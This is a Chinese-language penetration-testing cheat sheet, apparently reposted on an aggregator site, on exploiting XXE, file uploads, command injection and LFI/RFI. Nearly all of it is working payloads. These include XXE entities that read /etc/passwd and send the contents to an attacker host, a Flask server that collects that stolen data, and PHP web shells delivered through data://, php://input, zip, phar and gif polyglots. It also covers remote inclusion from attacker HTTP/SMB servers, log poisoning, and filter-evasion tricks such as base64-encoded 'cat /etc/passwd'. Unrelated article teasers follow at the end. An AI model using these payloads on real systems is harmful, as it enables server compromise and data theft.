渗透测试--Web基础漏洞利用技巧

 渗透测试--Web基础漏洞利用技巧

        本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。

SQL

        俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》

XXE

XXE组成情况

钥匙定义例子
TagXML 文档的键,通常用 ( <>) 字符括起来。<date>
EntityXML 变量,通常用 ( &;) 字符括起来。&lt;
Element根元素或其任何子元素,其值存储在开始标记和结束标记之间。<date>01-01-2022</date>
Attribute存储在标签中的任何元素的可选规范,可供 XML 解析器使用。version="1.0"/encoding="UTF-8"
Declaration通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。<?xml version="1.0" encoding="UTF-8"?>

XXE回显点

输入的xml中会回显的内容

报错位置可能存在回显点

<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

服务器外带

#远程DTD文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">#XXE攻击交互
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">%remote;%oob;
]>
<root>&content;</root>
###外带python搭建服务器,个人使用,不喜勿喷
###解码后的文件存储于服务器中,传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetimeapp = Flask(__name__)# 定义存储文件的目录
SAVE_DIRECTORY = 'decoded_files'# 如果目录不存在,则创建目录
if not os.path.exists(SAVE_DIRECTORY):os.makedirs(SAVE_DIRECTORY)@app.route('/decode', methods=['GET'])
def decode_content():content = request.args.get('content')if content:try:# Base64 解码decoded_content = base64.b64decode(content).decode('utf-8')# 生成唯一文件名file_name = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{str(uuid.uuid4())}.txt"file_path = os.path.join(SAVE_DIRECTORY, file_name)# 将解码后的内容写入文件with open(file_path, 'w', encoding='utf-8') as f:f.write(decoded_content)return jsonify({'status': 'Notfound','message': '404'})except Exception as e:return jsonify({'status': 'error','message': f"Error decoding base64 content: {str(e)}"})else:return jsonify({'status': 'error','message': "No 'content' parameter found in the request."})if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5000)

XXE导致任意文件读取

#无害实体
<!DOCTYPE email [<!ENTITY company "Inlane Freight">
]>#文件泄露
<!DOCTYPE email [<!ENTITY company SYSTEM "file:///etc/passwd">
]>#源代码获取
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>#输出文件内容不以XML格式生成
<!DOCTYPE email [<!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!ENTITY % end "]]>"> <!ENTITY % xxe SYSTEM "http://10.10.16.20/xxe.dtd"> %xxe;
]>#引用实体
&company;

XXE导致SSRF

XXE导致RCE

#RCE
<!DOCTYPE email [<!ENTITY company SYSTEM "php://expect:">
]>

XXE自动化工具

https://github.com/enjoiz/XXEinjector

XSS

        基本的绕过手段都在网上可查

文件上传

文件上传木马文件

        老生常谈了,基本的文件上传利用,在此不做赘述,我知道你们喜欢更有意思的

文件上传导致XSS

        如果上传文件的内容在HTLM当中存在回显,我们应当十分注意,这可能造成XSS。造成XSS主要有以下情况:

1.接受文件接受HTLM的文档,有时候开发人员会犯一点小错误,也就是说,HTML会解析JS

2.接受文件内容以未编码形式展示在HTLM页面中,那么我们可以送他们一个<>来闭合他们的标签

3.接受文件名可能会回显,例如我们好心的开发人员会再次念出我们文件的名字。

接受文件接受HTLM的文档 

###上传文件HTML#发送HTML页面代码
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>#服务器端接受并解析HTLM文件
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>

接受文件内容以未编码形式展示在HTLM页面中 

###接受文件内容未编码情况嵌入HTML中
#上传文件
filename="evil.jpg"
content='''><img src=1 onerror=alert(1)
'''#接受未编码jpg文件的内容直接放出来
<body><img><img src=1 onerror=alert(1)>
<body>

 接受文件名可能会回显

###接受文件名回显
#上传文件
filename="<script>alert(1)</script>.txt"#上传成功页面
<body><p> 恭喜你上传成功<script>alert(1)<script>.txt文件! </p>
<body>

文件上传导致XXE

        svg文件的上传点可能导致XXE问题,因为svg文件本身是以xml解析的,如果没有很好的控制,XXE就会冒头。

###svg文件上传导致XXE
#上传文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>#svg文件被接受并作为头像
很好他死了!

 文件上传绕过黑名单

枚举可扩展名,总有一款适合他

文件上传绕过白名单

双扩展

反向双扩展

字符注入

双扩展

#只接受.jpg
.php.jpg

反向双扩展

#只接受.jpg
.jpg.php

字符注入

#只接受.jpg
.jpg{char}.phpchar = [
'%00',
'%0a',
'%20',
'%0d0a',
'.\',
'/',
'.',
'...',
':'
]

寻找文件上传位置

        上传了宝贝,这种好事儿总不能让服务器一个人独享,我们必须找到他。

过长文件名让应用报错

发送已经存在的文件

在页面中查看图片的引用位置

命令注入

        命令注入是我们非常期望的东西了,因为他可以直接造成RCE,这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。

命令注入可以注入的操作字符

注入操作符注塑件URL 编码字符执行的命令
分号;%3b两个都
新线\n%0a两个都
背景&%26两者(第二个输出通常首先显示)
管道|%7c两者(仅显示第二个输出)
&&%26%26两者(仅当第一个成功时)
或者||%7c%7c第二(仅当第一失败时)
子壳``%60%60两者(仅限 Linux)
子壳$()%24%28%29两者(仅限 Linux)
注射类型运算符
SQL 注入' , ; -- /* */
命令注入; &&
LDAP 注入* ( ) & |
XPath 注入' or and not substring concat count
操作系统命令注入; & |
代码注入' ; -- /* */ $() ${} #{} %{} ^
目录遍历/文件路径遍历../ ..\\ %00
对象注入; & |
XQuery 注入' ; -- /* */
Shellcode 注入\x \u %u %n
标头注入\n \r\n \t %0d %0a %09

黑名单绕过之字符替换

%09        空格替代${IFS}         制表符和空格{ls,-al}        等于"ls -al",可用于替代空格${PATH:0:1}        等于/        该方法的原理是使用了Linux中的环境变量和字符串切割${LS_COLORS:10:1}        等于;        该方法的原理是使用了Linux中的环境变量和字符串切割$env:HOMEPATH[0]        等于/        该方法的原理是使用了Win中的环境变量和字符串切割$env:PROGRAMFILES[10]        等于空格        该方法的原理是使用了Win中的环境变量和字符串切割'    等于空气    bash语言会无视它,who'am'i"    等于空气    bash语言会无视它    $@    等于空气     bash语言会无视它    \    等于空气     bash语言会无视它    WhAMi    大小写大法!    仅适用于Windows

 使用案例

#base64编码
echo -n 'cat /etc/passwd | grep 33' | base64#Linux
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(rev<<<'imaohw')
$('imaohw'[-1..-20] -join '')
$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)   ##实际尝试发现这种情况下不能编码空格
`{base64,-d}<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==`    ##这种方式可以编码空格#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))

自动化工具Bashfuscator

Linux - 我们可以利用Bashfuscator
Windows - DOSfuscation

LFI

可能发生包含的语言

PHP

NodeJS

Java

.net

data协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)

php伪协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)

expect函数执行URL流导致RCE 

##在后端服务器安装expect#检验是否暗装expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expectextension=expect#若开启该插件,那么就可以RCE而不需要webshell
cmundy2@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程FTP服务器执行文件导致RCE

cmundy2@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程HTTP服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

RFI从远程SMB服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFI包含任意扩展名文件

        不论是本地的还是远程的皆有可能,=3=


###gif包含
cmundy2@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id###PHP包含
cmundy2@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id###phar包含
cat shell.php<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->stopBuffering();#构造phar文件
cmundy2@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpghttp://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

向日志投毒然后使用LFI包含日志导致RCE

#修改Agent 将php代码写入日志当中#然后爆破日志位置#根据日志位置包含日志,执行php脚本
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N

自动化手段

最常见的 LFI 工具是LFISuite、LFiFreak和liffy

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/503146.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

西门子200smart存储卡作用

最近维修设备时&#xff0c;遇到一个问题&#xff0c;设备PLC是200smart SR20,PLC程序需要修改某个程序段&#xff0c;由于手里没有源程序&#xff0c;联系厂家后&#xff0c;厂家发了一段程序&#xff0c;后缀是.s7s。通过查询官网资料&#xff0c;其中S7_JOB.S7S为脚本任务&a…

QT上实现SVM进行数据分类

针对不了解SVM的原理的同学强推下面这个课程&#xff1a; 6.机器学习课程&#xff08;六&#xff09;支持向量机&#xff08;线性模型&#xff09;问题_哔哩哔哩_bilibili 一、QT实现SVM的方法 1.调用SVM的C语言库&#xff1a;麻烦&#xff0c;要专门去找库&#xff0c;cmak…

【C++】字符串与字符数|组操作详解:strcpy 和 strcat 的使用与解析

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;一、字符串数组的基本操作&#x1f4af;二、strcpy 的用法详解1. strcpy 的功能与原型2. 使用示例与代码演示3. 注意事项4. 扩展&#xff1a;为什么不能直接用 &#xff1f…

GWAS数据和软件下载

这部分主要是数据获取,以及软件配置方法。 一、配套数据和代码 数据和代码目前在不断的更新,最新的教程可以私信,我通过后手动发送最新版的pdf和数据代码。发送的压缩包,有电子版的pdf和数据下载链接,里面是最新的百度网盘的地址,下载到本地即可。然后根据pdf教程,结合配套的…

Vue笔记-001-声明式渲染

https://cn.vuejs.org/tutorial/#step-2https://cn.vuejs.org/tutorial/#step-2 Vue 单文件组件 (Single-File Component&#xff0c;缩写为 SFC) 单文件组件是一种可复用的代码组织形式&#xff0c;它将从属于同一个组件的 HTML、CSS 和 JavaScript 封装在使用 .vue 后缀的文件…

Scala_【5】函数式编程

第五章 函数式编程函数和方法的区别函数声明函数参数可变参数参数默认值 函数至简原则匿名函数高阶函数函数作为值传递函数作为参数传递函数作为返回值 函数闭包&柯里化函数递归控制抽象惰性函数友情链接 函数式编程 面向对象编程 解决问题时&#xff0c;分解对象&#xff…

(六)优化 ChatGPT 交互:任务式 Prompt 的力量

&#x1f4e2;&#x1f4e2;&#x1f4e2; 大家好&#xff0c;我是云楼Yunlord&#xff0c;CSDN博客之星人工智能领域前三名&#xff0c;多年人工智能学习工作经验&#xff0c;一位兴趣稀奇古怪的【人工智能领域博主】&#xff01;&#xff01;&#xff01;&#x1f61c;&#…

HarmonyOS-面试资料

1. HarmonyOS-面试资料 1.1. HarmonyOS 优点、特点 1.1.1. 优点 &#xff08;1&#xff09;在国家方面&#xff0c;是国产的系统&#xff0c;受国家支持不会有限制的情况。   &#xff08;2&#xff09;设备互连18N(1:手机 8&#xff1a;平板、PC、vr设备、可穿戴设备、智慧…

R语言基础| 中级绘图

写在前面 前面第六章的图形主要是展示单分类变量或连续型变量的分布情况。本章主要研究二元变量或多元变量关系的可视化。更多教程可参考&#xff1a; R语言基础学习手册 图片集锦&#xff1a; 11.1 散点图 1&#xff09;添加最佳拟合曲线的散点图&#xff1a; 绘制汽车重…

神经网络第一课

目录 背景知识生物神经元人工神经元模型神经网络训练神经网络结论背景知识 神经网络是一种人工智能模型,其主要受生物神经系统启发,重现了大脑中神经元之间相互连接的方式。 神经网络已在很多领域中取得显著成就,如图像识别、自然语言处理和语音识别等。 生物神经元 神经…

Docker:安装 XXL-JOB 分布式调度任务的技术指南

1、简述 XXL-JOB 是一个分布式任务调度平台&#xff0c;提供简单易用的任务调度功能。它支持分布式调度、失败重试、任务监控和报警等功能。XXL-JOB 采用了服务端与执行器的架构&#xff0c;任务调度在服务端进行&#xff0c;而任务的实际执行则由各个执行器完成。 XXL-JOB 的…

Git revert回滚

回退中间的某次提交&#xff08;此操作在预生产分支上比较常见&#xff09;&#xff0c;建议此方式使用命令进行操作&#xff08;做好注释&#xff0c;方便后续上线可以找到这个操作&#xff09; Git操作&#xff1a; 命令&#xff1a;revert -n 版本号 1&#xff1a;git re…

新年到了!使用Python创建一个简易的接金元宝游戏

引言 在本教程中&#xff0c;我们将一起学习如何使用Python编程语言和Pygame库来创建一个简单的休闲游戏——“接金元宝”。 准备工作 首先&#xff0c;确保你的计算机上已经安装了Python&#xff08;推荐3.6以上版本&#xff09;和Pygame库。如果还没有安装Pygame&#xff0…

GoF23种设计模式 简介

文章目录 面向对象(OO)设计原则&#xff08;7&#xff09;单一职责原则开闭原则里氏代换原则依赖倒转原则接口隔离原则合成复用原则迪米特法则 创建型模式 &#xff08;5&#xff09;工厂方法模式 &#xff08;类模式&#xff0c;其余都是对象模式&#xff09;抽象工厂模式建造…

【数电尾灯设计】2022-8-16

缘由数电尾灯设计问题&#xff0c;求解答--CSDN问答 从题目可以列出 000 100 010 111-----------4进制 000 100 010 110 001 101 011 111-----------8进制 由列出可知用16进制芯片的3个引脚可以获得8进制推导出4进制从而可用逻辑处理为4进制实现尾灯功能。之上第一步实现了尾灯…

在线机考|2024华为实习秋招春招编程题(最新)——第3题_个性化歌单推荐系统_300分(十一)

题目内容 假设你是音乐服务的开发者,为了提高用户体验需要解决推荐歌单的同质化问题,保证推荐给用户的所有歌单不包含相同歌曲的。给定一个包含N个歌单和M条歌单重复记录,每个歌单用一个从1到N的整数编号,歌单重复记录包含两个歌单的ID,表示两个歌单有相同的歌曲。 你的任…

Ant Design Pro写项目的总结经验(react)

配置代理&#xff08;proxy&#xff09; 在config文件夹下面的config.ts里面配置修改 修改前&#xff1a;修改后&#xff1a; 修改账号框以及登录接口以及登录返回的code 由于它的账号框是username,但是我们接口请求要填写的是account&#xff0c;因此可以全局搜索进行替换…

安卓14无法安装应用解决历程

客户手机基本情况&#xff1a; 安卓14&#xff0c;对应的 targetSdkVersion 34 前天遇到了安卓14适配问题&#xff0c;客户发来的截图是这样的 描述&#xff1a;无法安装我们公司的B应用。 型号&#xff1a;三星google美版 解决步骤&#xff1a; 1、寻找其他安卓14手机测试…

51单片机(二)中断系统与外部中断实验

中断即单片机因为某些原因E暂定现在的工作P0&#xff0c;转去做其他的工作P1&#xff0c;完了之后继续之前的事P0&#xff0c;其他工作P1就是中断程序&#xff0c;原因E就是中断事件&#xff0c;原因由外部发生&#xff0c;程序不能预测到的是硬中断&#xff0c;可以由程度触发…

66.基于SpringBoot + Vue实现的前后端分离-律师事务所案件管理系统(项目 + 论文)

项目介绍 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装律师事务所案件管理系统软件来发挥其高效地信息处理的作用…